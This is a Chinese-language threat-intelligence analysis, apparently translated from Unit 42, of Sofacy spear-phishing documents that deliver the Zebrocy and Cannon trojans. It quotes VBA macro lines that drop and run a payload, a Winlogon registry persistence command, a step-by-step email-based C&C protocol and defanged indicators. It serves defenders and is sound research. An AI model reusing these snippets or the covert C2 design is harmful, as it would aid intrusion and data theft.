使用邮件实现C&C通信:新型木马Cannon分析

阅读量    53489 |   稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

一、概述

在2018年10月下旬和11月初,Unit 42监测到一系列武器化文件,这些文件使用了某种技术来加载包含恶意宏的远程模板。这种类型的武器化文件其实并不罕见,但由于其具有模块化的特点,因此自动分析系统很难将其识别为恶意文档。针对这种技术而言,如果C&C服务器在代码执行时不可用,那么则无法检索到恶意代码,从而导致该文档基本上被判断为良性的。

这一武器化文件的目标是全球范围内的几个政府实体,包括北美、欧洲和前苏联国家。对我们来说幸运的是,其中几个文档中包含的C&C服务器仍在正常运行,允许我们查看恶意宏和后续Payload。经过分析,发现其中一部分文档的第一阶段Payload与Zebrocy木马一致。但此次发现了额外的一些文档,其中包含新型的第一阶段Payload,我们将其命名为Cannon。此前,我们从未观察到Cannon被Sofacy恶意组织使用。并且,Cannon中包含一个新型的C&C通信方式,该通信是基于电子邮件。尽管以电子邮件进行C&C通信并不是一种新方法,但一般不会像HTTP或HTTPS方式那样频繁地被使用。使用电子邮件进行C&C通信,也会降低被检测到的概率,因为在许多企业中,并没有将“向未知域名发送电子邮件”加入到可疑事件的范围中。

我们已经收集到大量武器化文档,本文将对其中的两个文档进行重点分析。这两个文档具有多个相同的特征,例如使用了相同的C&C IP地址,具有相同的作者名称和策略。其中一个文档的文件名非常值得关注:crash list(Lion Air Boeing 737).docx(坠毁清单-狮航波音737.docx)。可以看出,该恶意组织试图利用灾难性事件,吸引用户的注意力,从而执行攻击。

 

二、攻击细节

我们捕获到的初始样本是一个Microsoft Word文档(SHA256:2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f),其文件名为crash list(Lion Air Boeing 737).docx,作者名称为Joohn。该文档试图针对处理欧洲外交事务的政府组织进行鱼叉式网络钓鱼。一旦用户尝试打开此文档,Microsoft Word将立即尝试从DOCX文档settings.xml.rels文件中指定位置加载包含恶意宏和Payload的远程模板,如下所示:

<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="hxxp://188.241.58[.]170/live/owa/office.dotm" TargetMode="External"/>

如果C&C已经离线,文档仍然会打开,但Word将无法检索远程模板,因此Word也无法加载宏。在这种情况下,Word将向受害者呈现出相同的诱饵文档,如下图所示,但无法通过“启用内容”按钮启用宏。如果C&C仍然在线,Word将会加载远程模板(SHA256:f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5),并向用户显示下图所示的内容。

一旦受害者点击“启用内容”按钮,就会执行嵌入式宏。在宏中,使用了不太常见的AutoClose函数。这是一种反分析的手段,因为在用户关闭文档之前,Word并不会完全执行恶意代码,所以如果自动化沙箱退出了分析会话而没有特意关闭文档,那么就无法捕捉到恶意活动。在宏成功执行后,将安装Payload,并将一个文档保存到系统。通常,我们见到的都是将一个诱饵文件保存到系统中,然后显示,从而使受害者不会怀疑存在恶意活动。但是,该木马保存的文件并没有显示,并且也不包含与狮航空难相关的任何内容。宏从存储为UserForm1.Label1.Caption的文档中获取要保存到系统中的文档,并将其写入到如下位置:

%TEMP%\~temp.docm

宏从存储为UserForm1.Label2.Caption的文档中,获取要投放到系统上的Payload,并将其写入到如下位置:

%APPDATA%\MSDN\~msdn.exe

宏通过加载~temp.docm文档,并在其嵌入式宏中调用函数来运行Payload,这是一种独特的执行Payload的方式。我们认为,该文档的创建者之所以选择从投放的文件中运行Payload,是为了逃避防护软件的监测。此外,初始的宏使用这一投放的文档来执行Payload的事实,也解释了为什么文档中不包含任何诱饵内容。

为了执行这一功能,在将~temp.docm和~msdndn.exe文件写入系统后,初始宏将~temp.docm文件作为Word文档对象加载,并尝试在~temp.docm文件的Module1宏中运行函数Proc1,其代码如下:

Set WA = CreateObject("Word.Application")
WA.Visible = False
Set oMyDoc = WA.Documents.Open(vF)
WA.Application.Run "Module1.Proc1"

Module1中的Proc1函数只是为已投放的Payload创建%APPDATA%MSDN~msdn.exe路径,并使用内置的Shell函数来执行,其代码如下:

vAdd = "~msdn"
vFileName = Environ("APPDATA") & "MSDN" 
vFileName = vFileName + vAdd & ".e" + "x" & "e"
Shell vFileName

投放到系统的Payload(SHA256:6ad3eb8b5622145a70bec67b3d14868a1c13864864afd651fe70689c95b1399a)是以Delphi语言编写而成,并经过UPX加壳,实际上是Zebrocy的一个变种。Zebrocy的这一变种在功能上,非常类似于我们在今年早些时候发现Sofacy组织使用的Zebrocy中的Payload。这一Payload使用以下URL进行C&C通信:

hxxp://188.241.58[.]170/local/s3/filters.php

Zebrocy木马会收集系统上的特定信息,通过HTTP POST请求发送到C&C服务器(也就是上述URL)。与其他Zebrocy样本一样,这一木马通过在命令行上运行SYSTEMINFO和TASKLIST,并通过遍历已连接的存储设备,来收集系统的特定信息,随后发送到C&C服务器。这一变种还会将被感染主机的屏幕截图,以JPEG图像的格式发送到C&C服务器上。然后,C&C服务器将以ASCII十六进制的形式,向信标提供辅助的Payload,木马会对其进行解码,并将解码后的内容写入如下位置:

%APPDATA%\RoamingAudiosoundfix.exe

在我们的分析过程中,发现C&C服务器还提供了一个辅助的Payload(SHA256:d18d909ee3eb65dfd49925853553c87f7fd8a40e7cebb0f342e43e0c1fbab7d7),其功能与最初的Zebrocy样本相似。辅助Payload也是使用Delphi语言编写,它是通过HTTPS协议访问以下URL,实现与C&C服务器的通信:

hxxps://200.122.181[.]25/catalog/products/books.php

 

三、新型Cannon木马分析

Cannon木马是以C#语言编写的,主要用作下载工具,以电子邮件的方式与C&C服务器进行通信。为了实现与C&C服务器的通信,木马通过TCP/587端口使用SMTPS协议向特定邮箱发送电子邮件。该工具按照特定顺序,执行以下功能:

1、收集系统信息和屏幕截图;

2、通过邮件方式,将收集的信息发送给恶意运营者;

3、检查收件箱中是否存在包含Payload的电子邮件;

4、下载电子邮件附件中的Payload;

5、执行下载的Payload。

实现上述活动的函数共有7个,具体如下。

3.1 start_Tick

该函数将字符串{SysPar = 65}写入名为s.txt的文件,这一文件将在木马与C&C服务器的通信过程中使用。此外,该函数还会将以下内容写入r.bat并执行该脚本,从而添加持久性:

REG ADD “HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon” /v Shell /t REG_SZ /d [path to wsslc.exe]

这一函数还会创建一个唯一的系统标识符,该标识符在C&C通信期间用于发送和接收信息。系统标识符使用C盘的序列号和Environment.UserName的前4个十六进制字节,生成16个字符的字符串。完成上述工作后,start_Tick函数启动计时器,并运行inf_Tick方法。

3.2 inf_Tick

该函数负责收集系统信息,并将其保存到i.ini文件中,其收集信息如下:

Application.ExecutablePath

Environment.OSVersion

Environment.SystemDirectory

Environment.UserDomainName

Environment.MachineName

Environment.UserName

TimeZone.CurrentTimeZone.StandardName

Environment.TickCount

DriveInfo.GetDrives() – Name,VolumeLabel,DriveFormat,DriveType,TotalSize,AvailableFreeSpace,Serial number

Folders in C:Program Files

Folders in C:Program Files (x86)

Process.GetProcesses

它将使用上述身份验证凭据登录SMTP服务器,并将i.ini文件发送到C&C邮箱。然后,inf_Tick函数启动计时器,并运行screen_Tick方法。

3.3 screen_Tick

该函数获取桌面的屏幕截图,并将其保存到名为sysscr.ops的文件中。它使用上述身份验证凭据登录SMTP服务器,并将sysscr.ops文件发送到C&C邮箱中。然后,screen_Tick函数启动计时器,并运行txt_Tick方法。

3.4 txt_Tick

木马将尝试使用trala.cosh2[at]post.cz帐户,以POP3S的方式登录pop.seznam[.]cz。如果成功,木马将遍历收件箱中的邮件,查找与唯一系统标识符匹配的任何电子邮件。如果存在,则将邮件的正文作为十六进制格式,保存到load_Tick函数将使用的变量中。木马会在阅读和处理邮件后,删除该电子邮件。

如果木马已经从电子邮件中获取了文本,它将使用上述身份验证凭据登录SMTP服务器,将s.txt文件发送到C&C邮箱。然后,txt_Tick函数启动计时器,并运行load_Tick方法。

3.5 load_Tick

该函数首先针对从txt_Tick函数中获取的文本,删除其中所有的“B&”和“Db”内容。然后,以%字符来分割剩余的文本,将其左侧的内容视为帐户名,其右侧的内容视为密码。木马使用这些凭据,通过POP3S登录pop.seznam[.]cz的另一个邮箱帐户,并检查以唯一系统标识符为主题的电子邮件。一旦发现匹配,木马将获取该邮件的附件,将名称中包含字符串auddevc的所有附件保存到系统中,也就是下载名为auddevc.txt的文件。此外,木马将会创建一个名为l.txt的文件,并将字符串090写入其中。

如果成功获取该文件,该函数将使用上述身份验证凭据登录SMTP服务器,并将l.txt文件发送到C&C电子邮件地址。然后,load_Tick函数启动计时器,并运行subject_Tick方法。

3.6 subject_Tick

该函数在功能上与txt_Tick函数非常相似,尝试使用trala.cosh2[at]post.cz帐户,以POP3S的方式登录pop.seznam[.]cz,在收件箱中再次查找与唯一系统标识符匹配的电子邮件。如果存在,则将邮件的正文作为十六进制格式,保存到run_Tick函数将使用的变量中,其内容应该是攻击者希望将load_Tick函数中保存的文件移动到的路径(也是运行路径)。

如果木马已经从电子邮件中获取了文本,它将使用上述身份验证凭据登录SMTP服务器,将s.txt文件发送到C&C邮箱。然后,subject_Tick函数启动计时器,并运行run_Tick方法。

3.7 run_Tick

该函数首先尝试在从subject_Tick函数获取到的路径中创建目录,然后尝试将load_Tick函数中下载的auddevc.txt文件移动到新创建的目录中。如果成功,该函数会使用上述身份验证凭据登录SMTP服务器,将I.txt文件发送到C&C邮箱。

然后,该函数尝试针对移动后的文件创建进程。如果能够成功运行下载的文件,它将使用上述身份验证凭据登录SMTP服务器,将s.txt文件发送到C&C邮箱。然后,会在退出之前删除sysscr.ops屏幕截图文件和i.ini系统信息文件。

 

四、新型Cannon木马通信过程

我们能从crash list(Lion Air Boeing 737).docx文档以及用于托管其远程模板的188.241.58[.]170 C&C IP上找到Joohn为作者的第二个文档。从结构上来看,这一文档与第一个文档非常相似,但实际上它所附带的Payload是一个全新的恶意木马,我们将其命名为Cannon。

该工具是以C#语言编写而成的,恶意代码存在于名为cannon的命名空间中,我们由此进行了木马的命名。该木马主要用于下载程序,并通过电子邮件实现木马与C&C服务器的通信。为了与C&C服务器进行通信,该木马将通过TCP/587端口使用SMTPS协议向特定电子邮件地址发送邮件。Cannon木马的功能如下表所示,该木马高度依赖带有计时器的EventHandler来按照特定顺序运行其方法,并且以此来增强其逃避检测的能力。

Cannon的最终目的,是使用多个电子邮件帐户,向恶意活动运营者发送系统数据(系统信息和屏幕截图),并从指定的电子邮件中获取Payload。下图展现了Cannon是如何与恶意运营者控制的C&C电子邮件地址进行通信以获得辅助Payload的:

1、Cannon收集系统信息,并将其保存到ini文件中。该木马发送电子邮件到sahro.bella7[at]post.cz,并将i.ini文件作为附件,将S_inf作为正文,将唯一系统标识符作为标题,该邮件使用SMTPS协议从以下帐户之一发送:

Bishtr.cam47

Lobrek.chizh

Cervot.woprov

2、Cannon获取屏幕截图,并将其保存到ops文件中。该木马发送电子邮件到sahro.bella7[at]post.cz,并将sysscr.ops文件作为附件,将Screen字符串作为正文,将唯一系统标识符作为标题,并使用SMTPS协议从上述帐户之一发送。

3、攻击者可能会登录sahro.bella7[at]post.cz邮箱,并处理木马发送的系统信息和屏幕截图,从而确定对被感染的主机是否感兴趣。如果攻击者希望向被感染主机发送额外的Payload,他们会通过以下步骤发送电子邮件。

4、攻击者发送电子邮件到trala.cosh2[at]post.cz,以系统标识符作为标题,并在正文中包含第二个邮箱和ASCII十六进制格式的凭据。

5、攻击者向第二个邮箱发送一封邮件,以系统标识符作为标题,将辅助Payload的文件名添加txt后缀,作为附件发送。

6、Cannon通过POP3S登录trala.cosh2[at]post.cz帐户,查找标题与唯一系统标识符匹配的电子邮件。Cannon将打开标题相符的电子邮件,并解码邮件正文中的十六进制数据,以获取第二个邮箱。

7、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认已经收到第二个邮箱地址,并以s.txt(包含{SysPar = 65}字符串)作为附件,正文中包含唯一的系统标识符,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。

8、攻击者发送电子邮件到trala.cosh2[at]post.cz,以唯一的系统标识符为标题,其中包含用于保存辅助Payload的文件路径。

9、Cannon通过POP3S登录第二个邮箱,查找标题与唯一系统标识符匹配的电子邮件,打开该邮件,并保存名为auddevc.txt的附件。

10、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认文件已经下载,其中l.txt(包含090字符串)作为附件,正文中包含ok2,标题是唯一的系统标识符,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。

11、Cannon通过POP3S登录trala.cosh2[at]post.cz帐户,查找标题与唯一系统标识符匹配的电子邮件,打开该邮件,并解码正文中的十六进制数据,以获取用于保存auddevc.txt的文件路径。

12、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认文件已经下载,其中l.txt(包含{SysPar = 65}字符串)作为附件,正文中包含ok3,标题是唯一的系统标识符,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。

13、Cannon将下载的文件移动到指定的路径。

14、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认文件已经下载,其中l.txt(包含090字符串)作为附件,正文中包含ok4,标题是唯一的系统标识符,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。

15、Cannon从指定的路径运行下载的文件。

16、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认已经成功执行,并以s.txt(包含{SysPar = 65}字符串)作为附件,正文中包含ok5,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。

 

五、总结

Sofacy将目标持续瞄准欧盟、美国和前苏联国家的政府组织,并且使用Zebrocy木马作为Payload。在这些攻击中,用于安装Zebrocy的承载文档使用了远程模板,从而增加了对攻击行为进行分析的难度。Sofacy组织还利用最近的狮航空难作为其中一次攻击的诱饵,这种攻击方式展现出了他们持续利用社会工程学的倾向。

值得注意的是,我们还发现Sofacy组织使用非常相似的承载文档,提供一个名为Cannon的新型木马。与使用基于HTTP或HTTPS方式与C&C服务器通信的Zebrocy相比,Cannon使用SMTPS和POP3S作为其C&C通道。尽管这不是一种新的策略,但显然这种方法更能有效地逃避检测,因为所涉及的外部主机是合法的电子邮件服务提供商。攻击者利用了加密的SMTPS和POP3S协议,同时还利用了合法的Web服务,这样一来,对 C&C通信的阻止就变得非常困难。

 

六、IoC

运载文档哈希值:

2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f

af77e845f1b0a3ae32cb5cfa53ff22cc9dae883f05200e18ad8e10d7a8106392

远程模板哈希值:

f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5

fc69fb278e12fc7f9c49a020eff9f84c58b71e680a9e18f78d4e6540693f557d

远程模板位置:

hxxp://188.241.58[.]170/live/owa/office.dotm

Zebrocy哈希值:

6ad3eb8b5622145a70bec67b3d14868a1c13864864afd651fe70689c95b1399a

Zebrocy C&C URL:

hxxp://188.241.58[.]170/local/s3/filters.php

hxxps://200.122.181[.]25/catalog/products/books.php

Cannon哈希值:

61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e

Cannon电子邮件帐户:

sahro.bella7[at]post.cz

trala.cosh2[at]post.cz

bishtr.cam47[at]post.cz

lobrek.chizh[at]post.cz

cervot.woprov[at]post.cz

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多